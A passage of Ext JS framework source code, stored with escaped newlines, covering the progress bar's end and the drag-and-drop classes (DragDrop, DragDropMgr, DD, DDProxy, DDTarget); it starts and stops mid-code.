duration:b.duration, onStop:function () {\n            if (b.fn) {\n                b.fn.apply(b.scope || this)\n            }\n            this.reset()\n        }, scope:a})\n    }\n    return this\n}, isWaiting:function () {\n    return this.waitTimer !== null\n}, updateText:function (a) {\n    this.text = a || \"&#160;\";\n    if (this.rendered) {\n        this.textEl.update(this.text)\n    }\n    return this\n}, syncProgressBar:function () {\n    if (this.value) {\n        this.updateProgress(this.value, this.text)\n    }\n    return this\n}, setSize:function (a, c) {\n    Ext.ProgressBar.superclass.setSize.call(this, a, c);\n    if (this.textTopEl) {\n        var b = this.el.dom.firstChild;\n        this.textEl.setSize(b.offsetWidth, b.offsetHeight)\n    }\n    this.syncProgressBar();\n    return this\n}, reset:function (a) {\n    this.updateProgress(0);\n    if (this.textTopEl) {\n        this.textTopEl.addClass(\"x-hidden\")\n    }\n    this.clearTimer();\n    if (a === true) {\n        this.hide()\n    }\n    return this\n}, clearTimer:function () {\n    if (this.waitTimer) {\n        this.waitTimer.onStop = null;\n        Ext.TaskMgr.stop(this.waitTimer);\n        this.waitTimer = null\n    }\n}, onDestroy:function () {\n    this.clearTimer();\n    if (this.rendered) {\n        if (this.textEl.isComposite) {\n            this.textEl.clear()\n        }\n        Ext.destroyMembers(this, \"textEl\", \"progressBar\", \"textTopEl\")\n    }\n    Ext.ProgressBar.superclass.onDestroy.call(this)\n}});\nExt.reg(\"progress\", Ext.ProgressBar);\n(function () {\n    var a = Ext.EventManager;\n    var b = Ext.lib.Dom;\n    Ext.dd.DragDrop = function (e, c, d) {\n        if (e) {\n            this.init(e, c, d)\n        }\n    };\n    Ext.dd.DragDrop.prototype = {id:null, config:null, dragElId:null, handleElId:null, invalidHandleTypes:null, invalidHandleIds:null, invalidHandleClasses:null, startPageX:0, startPageY:0, groups:null, locked:false, lock:function () {\n        this.locked = true\n    }, moveOnly:false, unlock:function () {\n        this.locked = false\n    }, isTarget:true, padding:null, _domRef:null, __ygDragDrop:true, constrainX:false, constrainY:false, minX:0, maxX:0, minY:0, maxY:0, maintainOffset:false, xTicks:null, yTicks:null, primaryButtonOnly:true, available:false, hasOuterHandles:false, b4StartDrag:function (c, d) {\n    }, startDrag:function (c, d) {\n    }, b4Drag:function (c) {\n    }, onDrag:function (c) {\n    }, onDragEnter:function (c, d) {\n    }, b4DragOver:function (c) {\n    }, onDragOver:function (c, d) {\n    }, b4DragOut:function (c) {\n    }, onDragOut:function (c, d) {\n    }, b4DragDrop:function (c) {\n    }, onDragDrop:function (c, d) {\n    }, onInvalidDrop:function (c) {\n    }, b4EndDrag:function (c) {\n    }, endDrag:function (c) {\n    }, b4MouseDown:function (c) {\n    }, onMouseDown:function (c) {\n    }, onMouseUp:function (c) {\n    }, onAvailable:function () {\n    }, defaultPadding:{left:0, right:0, top:0, bottom:0}, constrainTo:function (j, h, o) {\n        if (Ext.isNumber(h)) {\n            h = {left:h, right:h, top:h, bottom:h}\n        }\n        h = h || this.defaultPadding;\n        var l = Ext.get(this.getEl()).getBox(), d = Ext.get(j), n = d.getScroll(), k, e = d.dom;\n        if (e == document.body) {\n            k = {x:n.left, y:n.top, width:Ext.lib.Dom.getViewWidth(), height:Ext.lib.Dom.getViewHeight()}\n        } else {\n            var m = d.getXY();\n            k = {x:m[0], y:m[1], width:e.clientWidth, height:e.clientHeight}\n        }\n        var i = l.y - k.y, g = l.x - k.x;\n        this.resetConstraints();\n        this.setXConstraint(g - (h.left || 0), k.width - g - l.width - (h.right || 0), this.xTickSize);\n        this.setYConstraint(i - (h.top || 0), k.height - i - l.height - (h.bottom || 0), this.yTickSize)\n    }, getEl:function () {\n        if (!this._domRef) {\n            this._domRef = Ext.getDom(this.id)\n        }\n        return this._domRef\n    }, getDragEl:function () {\n        return Ext.getDom(this.dragElId)\n    }, init:function (e, c, d) {\n        this.initTarget(e, c, d);\n        a.on(this.id, \"mousedown\", this.handleMouseDown, this)\n    }, initTarget:function (e, c, d) {\n        this.config = d || {};\n        this.DDM = Ext.dd.DDM;\n        this.groups = {};\n        if (typeof e !== \"string\") {\n            e = Ext.id(e)\n        }\n        this.id = e;\n        this.addToGroup((c) ? c : \"default\");\n        this.handleElId = e;\n        this.setDragElId(e);\n        this.invalidHandleTypes = {A:\"A\"};\n        this.invalidHandleIds = {};\n        this.invalidHandleClasses = [];\n        this.applyConfig();\n        this.handleOnAvailable()\n    }, applyConfig:function () {\n        this.padding = this.config.padding || [0, 0, 0, 0];\n        this.isTarget = (this.config.isTarget !== false);\n        this.maintainOffset = (this.config.maintainOffset);\n        this.primaryButtonOnly = (this.config.primaryButtonOnly !== false)\n    }, handleOnAvailable:function () {\n        this.available = true;\n        this.resetConstraints();\n        this.onAvailable()\n    }, setPadding:function (e, c, g, d) {\n        if (!c && 0 !== c) {\n            this.padding = [e, e, e, e]\n        } else {\n            if (!g && 0 !== g) {\n                this.padding = [e, c, e, c]\n            } else {\n                this.padding = [e, c, g, d]\n            }\n        }\n    }, setInitPosition:function (g, e) {\n        var h = this.getEl();\n        if (!this.DDM.verifyEl(h)) {\n            return\n        }\n        var d = g || 0;\n        var c = e || 0;\n        var i = b.getXY(h);\n        this.initPageX = i[0] - d;\n        this.initPageY = i[1] - c;\n        this.lastPageX = i[0];\n        this.lastPageY = i[1];\n        this.setStartPosition(i)\n    }, setStartPosition:function (d) {\n        var c = d || b.getXY(this.getEl());\n        this.deltaSetXY = null;\n        this.startPageX = c[0];\n        this.startPageY = c[1]\n    }, addToGroup:function (c) {\n        this.groups[c] = true;\n        this.DDM.regDragDrop(this, c)\n    }, removeFromGroup:function (c) {\n        if (this.groups[c]) {\n            delete this.groups[c]\n        }\n        this.DDM.removeDDFromGroup(this, c)\n    }, setDragElId:function (c) {\n        this.dragElId = c\n    }, setHandleElId:function (c) {\n        if (typeof c !== \"string\") {\n            c = Ext.id(c)\n        }\n        this.handleElId = c;\n        this.DDM.regHandle(this.id, c)\n    }, setOuterHandleElId:function (c) {\n        if (typeof c !== \"string\") {\n            c = Ext.id(c)\n        }\n        a.on(c, \"mousedown\", this.handleMouseDown, this);\n        this.setHandleElId(c);\n        this.hasOuterHandles = true\n    }, unreg:function () {\n        a.un(this.id, \"mousedown\", this.handleMouseDown);\n        this._domRef = null;\n        this.DDM._remove(this)\n    }, destroy:function () {\n        this.unreg()\n    }, isLocked:function () {\n        return(this.DDM.isLocked() || this.locked)\n    }, handleMouseDown:function (g, d) {\n        if (this.primaryButtonOnly && g.button != 0) {\n            return\n        }\n        if (this.isLocked()) {\n            return\n        }\n        this.DDM.refreshCache(this.groups);\n        var c = new Ext.lib.Point(Ext.lib.Event.getPageX(g), Ext.lib.Event.getPageY(g));\n        if (!this.hasOuterHandles && !this.DDM.isOverTarget(c, this)) {\n        } else {\n            if (this.clickValidator(g)) {\n                this.setStartPosition();\n                this.b4MouseDown(g);\n                this.onMouseDown(g);\n                this.DDM.handleMouseDown(g, this);\n                this.DDM.stopEvent(g)\n            } else {\n            }\n        }\n    }, clickValidator:function (d) {\n        var c = d.getTarget();\n        return(this.isValidHandleChild(c) && (this.id == this.handleElId || this.DDM.handleWasClicked(c, this.id)))\n    }, addInvalidHandleType:function (c) {\n        var d = c.toUpperCase();\n        this.invalidHandleTypes[d] = d\n    }, addInvalidHandleId:function (c) {\n        if (typeof c !== \"string\") {\n            c = Ext.id(c)\n        }\n        this.invalidHandleIds[c] = c\n    }, addInvalidHandleClass:function (c) {\n        this.invalidHandleClasses.push(c)\n    }, removeInvalidHandleType:function (c) {\n        var d = c.toUpperCase();\n        delete this.invalidHandleTypes[d]\n    }, removeInvalidHandleId:function (c) {\n        if (typeof c !== \"string\") {\n            c = Ext.id(c)\n        }\n        delete this.invalidHandleIds[c]\n    }, removeInvalidHandleClass:function (d) {\n        for (var e = 0, c = this.invalidHandleClasses.length; e < c; ++e) {\n            if (this.invalidHandleClasses[e] == d) {\n                delete this.invalidHandleClasses[e]\n            }\n        }\n    }, isValidHandleChild:function (h) {\n        var g = true;\n        var k;\n        try {\n            k = h.nodeName.toUpperCase()\n        } catch (j) {\n            k = h.nodeName\n        }\n        g = g && !this.invalidHandleTypes[k];\n        g = g && !this.invalidHandleIds[h.id];\n        for (var d = 0, c = this.invalidHandleClasses.length; g && d < c; ++d) {\n            g = !Ext.fly(h).hasClass(this.invalidHandleClasses[d])\n        }\n        return g\n    }, setXTicks:function (g, c) {\n        this.xTicks = [];\n        this.xTickSize = c;\n        var e = {};\n        for (var d = this.initPageX; d >= this.minX; d = d - c) {\n            if (!e[d]) {\n                this.xTicks[this.xTicks.length] = d;\n                e[d] = true\n            }\n        }\n        for (d = this.initPageX; d <= this.maxX; d = d + c) {\n            if (!e[d]) {\n                this.xTicks[this.xTicks.length] = d;\n                e[d] = true\n            }\n        }\n        this.xTicks.sort(this.DDM.numericSort)\n    }, setYTicks:function (g, c) {\n        this.yTicks = [];\n        this.yTickSize = c;\n        var e = {};\n        for (var d = this.initPageY; d >= this.minY; d = d - c) {\n            if (!e[d]) {\n                this.yTicks[this.yTicks.length] = d;\n                e[d] = true\n            }\n        }\n        for (d = this.initPageY; d <= this.maxY; d = d + c) {\n            if (!e[d]) {\n                this.yTicks[this.yTicks.length] = d;\n                e[d] = true\n            }\n        }\n        this.yTicks.sort(this.DDM.numericSort)\n    }, setXConstraint:function (e, d, c) {\n        this.leftConstraint = e;\n        this.rightConstraint = d;\n        this.minX = this.initPageX - e;\n        this.maxX = this.initPageX + d;\n        if (c) {\n            this.setXTicks(this.initPageX, c)\n        }\n        this.constrainX = true\n    }, clearConstraints:function () {\n        this.constrainX = false;\n        this.constrainY = false;\n        this.clearTicks()\n    }, clearTicks:function () {\n        this.xTicks = null;\n        this.yTicks = null;\n        this.xTickSize = 0;\n        this.yTickSize = 0\n    }, setYConstraint:function (c, e, d) {\n        this.topConstraint = c;\n        this.bottomConstraint = e;\n        this.minY = this.initPageY - c;\n        this.maxY = this.initPageY + e;\n        if (d) {\n            this.setYTicks(this.initPageY, d)\n        }\n        this.constrainY = true\n    }, resetConstraints:function () {\n        if (this.initPageX || this.initPageX === 0) {\n            var d = (this.maintainOffset) ? this.lastPageX - this.initPageX : 0;\n            var c = (this.maintainOffset) ? this.lastPageY - this.initPageY : 0;\n            this.setInitPosition(d, c)\n        } else {\n            this.setInitPosition()\n        }\n        if (this.constrainX) {\n            this.setXConstraint(this.leftConstraint, this.rightConstraint, this.xTickSize)\n        }\n        if (this.constrainY) {\n            this.setYConstraint(this.topConstraint, this.bottomConstraint, this.yTickSize)\n        }\n    }, getTick:function (k, g) {\n        if (!g) {\n            return k\n        } else {\n            if (g[0] >= k) {\n                return g[0]\n            } else {\n                for (var d = 0, c = g.length; d < c; ++d) {\n                    var e = d + 1;\n                    if (g[e] && g[e] >= k) {\n                        var j = k - g[d];\n                        var h = g[e] - k;\n                        return(h > j) ? g[d] : g[e]\n                    }\n                }\n                return g[g.length - 1]\n            }\n        }\n    }, toString:function () {\n        return(\"DragDrop \" + this.id)\n    }}\n})();\nif (!Ext.dd.DragDropMgr) {\n    Ext.dd.DragDropMgr = function () {\n        var a = Ext.EventManager;\n        return{ids:{}, handleIds:{}, dragCurrent:null, dragOvers:{}, deltaX:0, deltaY:0, preventDefault:true, stopPropagation:true, initialized:false, locked:false, init:function () {\n            this.initialized = true\n        }, POINT:0, INTERSECT:1, mode:0, _execOnAll:function (d, c) {\n            for (var e in this.ids) {\n                for (var b in this.ids[e]) {\n                    var g = this.ids[e][b];\n                    if (!this.isTypeOfDD(g)) {\n                        continue\n                    }\n                    g[d].apply(g, c)\n                }\n            }\n        }, _onLoad:function () {\n            this.init();\n            a.on(document, \"mouseup\", this.handleMouseUp, this, true);\n            a.on(document, \"mousemove\", this.handleMouseMove, this, true);\n            a.on(window, \"unload\", this._onUnload, this, true);\n            a.on(window, \"resize\", this._onResize, this, true)\n        }, _onResize:function (b) {\n            this._execOnAll(\"resetConstraints\", [])\n        }, lock:function () {\n            this.locked = true\n        }, unlock:function () {\n            this.locked = false\n        }, isLocked:function () {\n            return this.locked\n        }, locationCache:{}, useCache:true, clickPixelThresh:3, clickTimeThresh:350, dragThreshMet:false, clickTimeout:null, startX:0, startY:0, regDragDrop:function (c, b) {\n            if (!this.initialized) {\n                this.init()\n            }\n            if (!this.ids[b]) {\n                this.ids[b] = {}\n            }\n            this.ids[b][c.id] = c\n        }, removeDDFromGroup:function (d, b) {\n            if (!this.ids[b]) {\n                this.ids[b] = {}\n            }\n            var c = this.ids[b];\n            if (c && c[d.id]) {\n                delete c[d.id]\n            }\n        }, _remove:function (c) {\n            for (var b in c.groups) {\n                if (b && this.ids[b] && this.ids[b][c.id]) {\n                    delete this.ids[b][c.id]\n                }\n            }\n            delete this.handleIds[c.id]\n        }, regHandle:function (c, b) {\n            if (!this.handleIds[c]) {\n                this.handleIds[c] = {}\n            }\n            this.handleIds[c][b] = b\n        }, isDragDrop:function (b) {\n            return(this.getDDById(b)) ? true : false\n        }, getRelated:function (h, c) {\n            var g = [];\n            for (var e in h.groups) {\n                for (var d in this.ids[e]) {\n                    var b = this.ids[e][d];\n                    if (!this.isTypeOfDD(b)) {\n                        continue\n                    }\n                    if (!c || b.isTarget) {\n                        g[g.length] = b\n                    }\n                }\n            }\n            return g\n        }, isLegalTarget:function (g, e) {\n            var c = this.getRelated(g, true);\n            for (var d = 0, b = c.length; d < b; ++d) {\n                if (c[d].id == e.id) {\n                    return true\n                }\n            }\n            return false\n        }, isTypeOfDD:function (b) {\n            return(b && b.__ygDragDrop)\n        }, isHandle:function (c, b) {\n            return(this.handleIds[c] && this.handleIds[c][b])\n        }, getDDById:function (c) {\n            for (var b in this.ids) {\n                if (this.ids[b][c]) {\n                    return this.ids[b][c]\n                }\n            }\n            return null\n        }, handleMouseDown:function (d, c) {\n            if (Ext.QuickTips) {\n                Ext.QuickTips.ddDisable()\n            }\n            if (this.dragCurrent) {\n                this.handleMouseUp(d)\n            }\n            this.currentTarget = d.getTarget();\n            this.dragCurrent = c;\n            var b = c.getEl();\n            this.startX = d.getPageX();\n            this.startY = d.getPageY();\n            this.deltaX = this.startX - b.offsetLeft;\n            this.deltaY = this.startY - b.offsetTop;\n            this.dragThreshMet = false;\n            this.clickTimeout = setTimeout(function () {\n                var e = Ext.dd.DDM;\n                e.startDrag(e.startX, e.startY)\n            }, this.clickTimeThresh)\n        }, startDrag:function (b, c) {\n            clearTimeout(this.clickTimeout);\n            if (this.dragCurrent) {\n                this.dragCurrent.b4StartDrag(b, c);\n                this.dragCurrent.startDrag(b, c)\n            }\n            this.dragThreshMet = true\n        }, handleMouseUp:function (b) {\n            if (Ext.QuickTips) {\n                Ext.QuickTips.ddEnable()\n            }\n            if (!this.dragCurrent) {\n                return\n            }\n            clearTimeout(this.clickTimeout);\n            if (this.dragThreshMet) {\n                this.fireEvents(b, true)\n            } else {\n            }\n            this.stopDrag(b);\n            this.stopEvent(b)\n        }, stopEvent:function (b) {\n            if (this.stopPropagation) {\n                b.stopPropagation()\n            }\n            if (this.preventDefault) {\n                b.preventDefault()\n            }\n        }, stopDrag:function (b) {\n            if (this.dragCurrent) {\n                if (this.dragThreshMet) {\n                    this.dragCurrent.b4EndDrag(b);\n                    this.dragCurrent.endDrag(b)\n                }\n                this.dragCurrent.onMouseUp(b)\n            }\n            this.dragCurrent = null;\n            this.dragOvers = {}\n        }, handleMouseMove:function (d) {\n            if (!this.dragCurrent) {\n                return true\n            }\n            if (Ext.isIE && (d.button !== 0 && d.button !== 1 && d.button !== 2)) {\n                this.stopEvent(d);\n                return this.handleMouseUp(d)\n            }\n            if (!this.dragThreshMet) {\n                var c = Math.abs(this.startX - d.getPageX());\n                var b = Math.abs(this.startY - d.getPageY());\n                if (c > this.clickPixelThresh || b > this.clickPixelThresh) {\n                    this.startDrag(this.startX, this.startY)\n                }\n            }\n            if (this.dragThreshMet) {\n                this.dragCurrent.b4Drag(d);\n                this.dragCurrent.onDrag(d);\n                if (!this.dragCurrent.moveOnly) {\n                    this.fireEvents(d, false)\n                }\n            }\n            this.stopEvent(d);\n            return true\n        }, fireEvents:function (n, o) {\n            var q = this.dragCurrent;\n            if (!q || q.isLocked()) {\n                return\n            }\n            var r = n.getPoint();\n            var b = [];\n            var g = [];\n            var l = [];\n            var j = [];\n            var d = [];\n            for (var h in this.dragOvers) {\n                var c = this.dragOvers[h];\n                if (!this.isTypeOfDD(c)) {\n                    continue\n                }\n                if (!this.isOverTarget(r, c, this.mode)) {\n                    g.push(c)\n                }\n                b[h] = true;\n                delete this.dragOvers[h]\n            }\n            for (var p in q.groups) {\n                if (\"string\" != typeof p) {\n                    continue\n                }\n                for (h in this.ids[p]) {\n                    var k = this.ids[p][h];\n                    if (!this.isTypeOfDD(k)) {\n                        continue\n                    }\n                    if (k.isTarget && !k.isLocked() && ((k != q) || (q.ignoreSelf === false))) {\n                        if (this.isOverTarget(r, k, this.mode)) {\n                            if (o) {\n                                j.push(k)\n                            } else {\n                                if (!b[k.id]) {\n                                    d.push(k)\n                                } else {\n                                    l.push(k)\n                                }\n                                this.dragOvers[k.id] = k\n                            }\n                        }\n                    }\n                }\n            }\n            if (this.mode) {\n                if (g.length) {\n                    q.b4DragOut(n, g);\n                    q.onDragOut(n, g)\n                }\n                if (d.length) {\n                    q.onDragEnter(n, d)\n                }\n                if (l.length) {\n                    q.b4DragOver(n, l);\n                    q.onDragOver(n, l)\n                }\n                if (j.length) {\n                    q.b4DragDrop(n, j);\n                    q.onDragDrop(n, j)\n                }\n            } else {\n                var m = 0;\n                for (h = 0, m = g.length; h < m; ++h) {\n                    q.b4DragOut(n, g[h].id);\n                    q.onDragOut(n, g[h].id)\n                }\n                for (h = 0, m = d.length; h < m; ++h) {\n                    q.onDragEnter(n, d[h].id)\n                }\n                for (h = 0, m = l.length; h < m; ++h) {\n                    q.b4DragOver(n, l[h].id);\n                    q.onDragOver(n, l[h].id)\n                }\n                for (h = 0, m = j.length; h < m; ++h) {\n                    q.b4DragDrop(n, j[h].id);\n                    q.onDragDrop(n, j[h].id)\n                }\n            }\n            if (o && !j.length) {\n                q.onInvalidDrop(n)\n            }\n        }, getBestMatch:function (d) {\n            var g = null;\n            var c = d.length;\n            if (c == 1) {\n                g = d[0]\n            } else {\n                for (var e = 0; e < c; ++e) {\n                    var b = d[e];\n                    if (b.cursorIsOver) {\n                        g = b;\n                        break\n                    } else {\n                        if (!g || g.overlap.getArea() < b.overlap.getArea()) {\n                            g = b\n                        }\n                    }\n                }\n            }\n            return g\n        }, refreshCache:function (c) {\n            for (var b in c) {\n                if (\"string\" != typeof b) {\n                    continue\n                }\n                for (var d in this.ids[b]) {\n                    var e = this.ids[b][d];\n                    if (this.isTypeOfDD(e)) {\n                        var g = this.getLocation(e);\n                        if (g) {\n                            this.locationCache[e.id] = g\n                        } else {\n                            delete this.locationCache[e.id]\n                        }\n                    }\n                }\n            }\n        }, verifyEl:function (c) {\n            if (c) {\n                var b;\n                if (Ext.isIE) {\n                    try {\n                        b = c.offsetParent\n                    } catch (d) {\n                    }\n                } else {\n                    b = c.offsetParent\n                }\n                if (b) {\n                    return true\n                }\n            }\n            return false\n        }, getLocation:function (j) {\n            if (!this.isTypeOfDD(j)) {\n                return null\n            }\n            var h = j.getEl(), o, g, d, q, p, s, c, n, i, m;\n            try {\n                o = Ext.lib.Dom.getXY(h)\n            } catch (k) {\n            }\n            if (!o) {\n                return null\n            }\n            g = o[0];\n            d = g + h.offsetWidth;\n            q = o[1];\n            p = q + h.offsetHeight;\n            s = q - j.padding[0];\n            c = d + j.padding[1];\n            n = p + j.padding[2];\n            i = g - j.padding[3];\n            m = new Ext.lib.Region(s, c, n, i);\n            h = Ext.get(h.parentNode);\n            while (h && m) {\n                if (h.isScrollable()) {\n                    m = m.intersect(h.getRegion())\n                }\n                h = h.parent()\n            }\n            return m\n        }, isOverTarget:function (k, b, d) {\n            var g = this.locationCache[b.id];\n            if (!g || !this.useCache) {\n                g = this.getLocation(b);\n                this.locationCache[b.id] = g\n            }\n            if (!g) {\n                return false\n            }\n            b.cursorIsOver = g.contains(k);\n            var j = this.dragCurrent;\n            if (!j || !j.getTargetCoord || (!d && !j.constrainX && !j.constrainY)) {\n                return b.cursorIsOver\n            }\n            b.overlap = null;\n            var h = j.getTargetCoord(k.x, k.y);\n            var c = j.getDragEl();\n            var e = new Ext.lib.Region(h.y, h.x + c.offsetWidth, h.y + c.offsetHeight, h.x);\n            var i = e.intersect(g);\n            if (i) {\n                b.overlap = i;\n                return(d) ? true : b.cursorIsOver\n            } else {\n                return false\n            }\n        }, _onUnload:function (c, b) {\n            a.removeListener(document, \"mouseup\", this.handleMouseUp, this);\n            a.removeListener(document, \"mousemove\", this.handleMouseMove, this);\n            a.removeListener(window, \"resize\", this._onResize, this);\n            Ext.dd.DragDropMgr.unregAll()\n        }, unregAll:function () {\n            if (this.dragCurrent) {\n                this.stopDrag();\n                this.dragCurrent = null\n            }\n            this._execOnAll(\"unreg\", []);\n            for (var b in this.elementCache) {\n                delete this.elementCache[b]\n            }\n            this.elementCache = {};\n            this.ids = {}\n        }, elementCache:{}, getElWrapper:function (c) {\n            var b = this.elementCache[c];\n            if (!b || !b.el) {\n                b = this.elementCache[c] = new this.ElementWrapper(Ext.getDom(c))\n            }\n            return b\n        }, getElement:function (b) {\n            return Ext.getDom(b)\n        }, getCss:function (c) {\n            var b = Ext.getDom(c);\n            return(b) ? b.style : null\n        }, ElementWrapper:function (b) {\n            this.el = b || null;\n            this.id = this.el && b.id;\n            this.css = this.el && b.style\n        }, getPosX:function (b) {\n            return Ext.lib.Dom.getX(b)\n        }, getPosY:function (b) {\n            return Ext.lib.Dom.getY(b)\n        }, swapNode:function (d, b) {\n            if (d.swapNode) {\n                d.swapNode(b)\n            } else {\n                var e = b.parentNode;\n                var c = b.nextSibling;\n                if (c == d) {\n                    e.insertBefore(d, b)\n                } else {\n                    if (b == d.nextSibling) {\n                        e.insertBefore(b, d)\n                    } else {\n                        d.parentNode.replaceChild(b, d);\n                        e.insertBefore(d, c)\n                    }\n                }\n            }\n        }, getScroll:function () {\n            var d, b, e = document.documentElement, c = document.body;\n            if (e && (e.scrollTop || e.scrollLeft)) {\n                d = e.scrollTop;\n                b = e.scrollLeft\n            } else {\n                if (c) {\n                    d = c.scrollTop;\n                    b = c.scrollLeft\n                } else {\n                }\n            }\n            return{top:d, left:b}\n        }, getStyle:function (c, b) {\n            return Ext.fly(c).getStyle(b)\n        }, getScrollTop:function () {\n            return this.getScroll().top\n        }, getScrollLeft:function () {\n            return this.getScroll().left\n        }, moveToEl:function (b, d) {\n            var c = Ext.lib.Dom.getXY(d);\n            Ext.lib.Dom.setXY(b, c)\n        }, numericSort:function (d, c) {\n            return(d - c)\n        }, _timeoutCount:0, _addListeners:function () {\n            var b = Ext.dd.DDM;\n            if (Ext.lib.Event && document) {\n                b._onLoad()\n            } else {\n                if (b._timeoutCount > 2000) {\n                } else {\n                    setTimeout(b._addListeners, 10);\n                    if (document && document.body) {\n                        b._timeoutCount += 1\n                    }\n                }\n            }\n        }, handleWasClicked:function (b, d) {\n            if (this.isHandle(d, b.id)) {\n                return true\n            } else {\n                var c = b.parentNode;\n                while (c) {\n                    if (this.isHandle(d, c.id)) {\n                        return true\n                    } else {\n                        c = c.parentNode\n                    }\n                }\n            }\n            return false\n        }}\n    }();\n    Ext.dd.DDM = Ext.dd.DragDropMgr;\n    Ext.dd.DDM._addListeners()\n}\nExt.dd.DD = function (c, a, b) {\n    if (c) {\n        this.init(c, a, b)\n    }\n};\nExt.extend(Ext.dd.DD, Ext.dd.DragDrop, {scroll:true, autoOffset:function (c, b) {\n    var a = c - this.startPageX;\n    var d = b - this.startPageY;\n    this.setDelta(a, d)\n}, setDelta:function (b, a) {\n    this.deltaX = b;\n    this.deltaY = a\n}, setDragElPos:function (c, b) {\n    var a = this.getDragEl();\n    this.alignElWithMouse(a, c, b)\n}, alignElWithMouse:function (c, h, g) {\n    var e = this.getTargetCoord(h, g);\n    var b = c.dom ? c : Ext.fly(c, \"_dd\");\n    if (!this.deltaSetXY) {\n        var i = [e.x, e.y];\n        b.setXY(i);\n        var d = b.getLeft(true);\n        var a = b.getTop(true);\n        this.deltaSetXY = [d - e.x, a - e.y]\n    } else {\n        b.setLeftTop(e.x + this.deltaSetXY[0], e.y + this.deltaSetXY[1])\n    }\n    this.cachePosition(e.x, e.y);\n    this.autoScroll(e.x, e.y, c.offsetHeight, c.offsetWidth);\n    return e\n}, cachePosition:function (b, a) {\n    if (b) {\n        this.lastPageX = b;\n        this.lastPageY = a\n    } else {\n        var c = Ext.lib.Dom.getXY(this.getEl());\n        this.lastPageX = c[0];\n        this.lastPageY = c[1]\n    }\n}, autoScroll:function (l, k, e, m) {\n    if (this.scroll) {\n        var n = Ext.lib.Dom.getViewHeight();\n        var b = Ext.lib.Dom.getViewWidth();\n        var p = this.DDM.getScrollTop();\n        var d = this.DDM.getScrollLeft();\n        var j = e + k;\n        var o = m + l;\n        var i = (n + p - k - this.deltaY);\n        var g = (b + d - l - this.deltaX);\n        var c = 40;\n        var a = (document.all) ? 80 : 30;\n        if (j > n && i < c) {\n            window.scrollTo(d, p + a)\n        }\n        if (k < p && p > 0 && k - p < c) {\n            window.scrollTo(d, p - a)\n        }\n        if (o > b && g < c) {\n            window.scrollTo(d + a, p)\n        }\n        if (l < d && d > 0 && l - d < c) {\n            window.scrollTo(d - a, p)\n        }\n    }\n}, getTargetCoord:function (c, b) {\n    var a = c - this.deltaX;\n    var d = b - this.deltaY;\n    if (this.constrainX) {\n        if (a < this.minX) {\n            a = this.minX\n        }\n        if (a > this.maxX) {\n            a = this.maxX\n        }\n    }\n    if (this.constrainY) {\n        if (d < this.minY) {\n            d = this.minY\n        }\n        if (d > this.maxY) {\n            d = this.maxY\n        }\n    }\n    a = this.getTick(a, this.xTicks);\n    d = this.getTick(d, this.yTicks);\n    return{x:a, y:d}\n}, applyConfig:function () {\n    Ext.dd.DD.superclass.applyConfig.call(this);\n    this.scroll = (this.config.scroll !== false)\n}, b4MouseDown:function (a) {\n    this.autoOffset(a.getPageX(), a.getPageY())\n}, b4Drag:function (a) {\n    this.setDragElPos(a.getPageX(), a.getPageY())\n}, toString:function () {\n    return(\"DD \" + this.id)\n}});\nExt.dd.DDProxy = function (c, a, b) {\n    if (c) {\n        this.init(c, a, b);\n        this.initFrame()\n    }\n};\nExt.dd.DDProxy.dragElId = \"ygddfdiv\";\nExt.extend(Ext.dd.DDProxy, Ext.dd.DD, {resizeFrame:true, centerFrame:false, createFrame:function () {\n    var b = this;\n    var a = document.body;\n    if (!a || !a.firstChild) {\n        setTimeout(function () {\n            b.createFrame()\n        }, 50);\n        return\n    }\n    var d = this.getDragEl();\n    if (!d) {\n        d = document.createElement(\"div\");\n        d.id = this.dragElId;\n        var c = d.style;\n        c.position = \"absolute\";\n        c.visibility = \"hidden\";\n        c.cursor = \"move\";\n        c.border = \"2px solid #aaa\";\n        c.zIndex = 999;\n        a.insertBefore(d, a.firstChild)\n    }\n}, initFrame:function () {\n    this.createFrame()\n}, applyConfig:function () {\n    Ext.dd.DDProxy.superclass.applyConfig.call(this);\n    this.resizeFrame = (this.config.resizeFrame !== false);\n    this.centerFrame = (this.config.centerFrame);\n    this.setDragElId(this.config.dragElId || Ext.dd.DDProxy.dragElId)\n}, showFrame:function (e, d) {\n    var c = this.getEl();\n    var a = this.getDragEl();\n    var b = a.style;\n    this._resizeProxy();\n    if (this.centerFrame) {\n        this.setDelta(Math.round(parseInt(b.width, 10) / 2), Math.round(parseInt(b.height, 10) / 2))\n    }\n    this.setDragElPos(e, d);\n    Ext.fly(a).show()\n}, _resizeProxy:function () {\n    if (this.resizeFrame) {\n        var a = this.getEl();\n        Ext.fly(this.getDragEl()).setSize(a.offsetWidth, a.offsetHeight)\n    }\n}, b4MouseDown:function (b) {\n    var a = b.getPageX();\n    var c = b.getPageY();\n    this.autoOffset(a, c);\n    this.setDragElPos(a, c)\n}, b4StartDrag:function (a, b) {\n    this.showFrame(a, b)\n}, b4EndDrag:function (a) {\n    Ext.fly(this.getDragEl()).hide()\n}, endDrag:function (c) {\n    var b = this.getEl();\n    var a = this.getDragEl();\n    a.style.visibility = \"\";\n    this.beforeMove();\n    b.style.visibility = \"hidden\";\n    Ext.dd.DDM.moveToEl(b, a);\n    a.style.visibility = \"hidden\";\n    b.style.visibility = \"\";\n    this.afterDrag()\n}, beforeMove:function () {\n}, afterDrag:function () {\n}, toString:function () {\n    return(\"DDProxy \" + this.id)\n}});\nExt.dd.DDTarget = function (c, a, b) {\n    if (c) {\n        this.initTarget(c, a, b)\n    }\n};\nExt.extend(Ext.dd.DDTarget, Ext.dd.DragDrop, {getDragEl:Ext.emptyFn, isValidHandleChild:Ext.emptyFn, startDrag:Ext.emptyFn, endDrag:Ext.emptyFn, onDrag:Ext.emptyFn, onDragDrop:Ext.emptyFn, onDragEnter:Ext.emptyFn, onDragOut:Ext.emptyFn, onDragOver:Ext.emptyFn, onInvalidDrop:Ext.emptyFn, onMouseDown:Ext.emptyFn, onMouseUp:Ext.emptyFn, setXConstraint:Ext.emptyFn, setYConstraint:Ext.emptyFn, resetConstraints:Ext.emptyFn, clearConstraints:Ext.emptyFn, clearTicks:Ext.emptyFn, setInitPosition:Ext.emptyFn, setDragElId:Ext.emptyFn, setHandleElId:Ext.emptyFn, setOuterHandleElId:Ext.emptyFn, addInvalidHandleClass:Ext.emptyFn, addInvalidHandleId:Ext.emptyFn, addInvalidHandleType:Ext.emptyFn, removeInvalidHandleClass:Ext.emptyFn, removeInvalidHandleId:Ext.emptyFn, removeInvalidHandleType:Ext.emptyFn, toString:function () {\n    return(\"DDTarget \" + this.id)\n}});\nExt.dd.DragTracker = 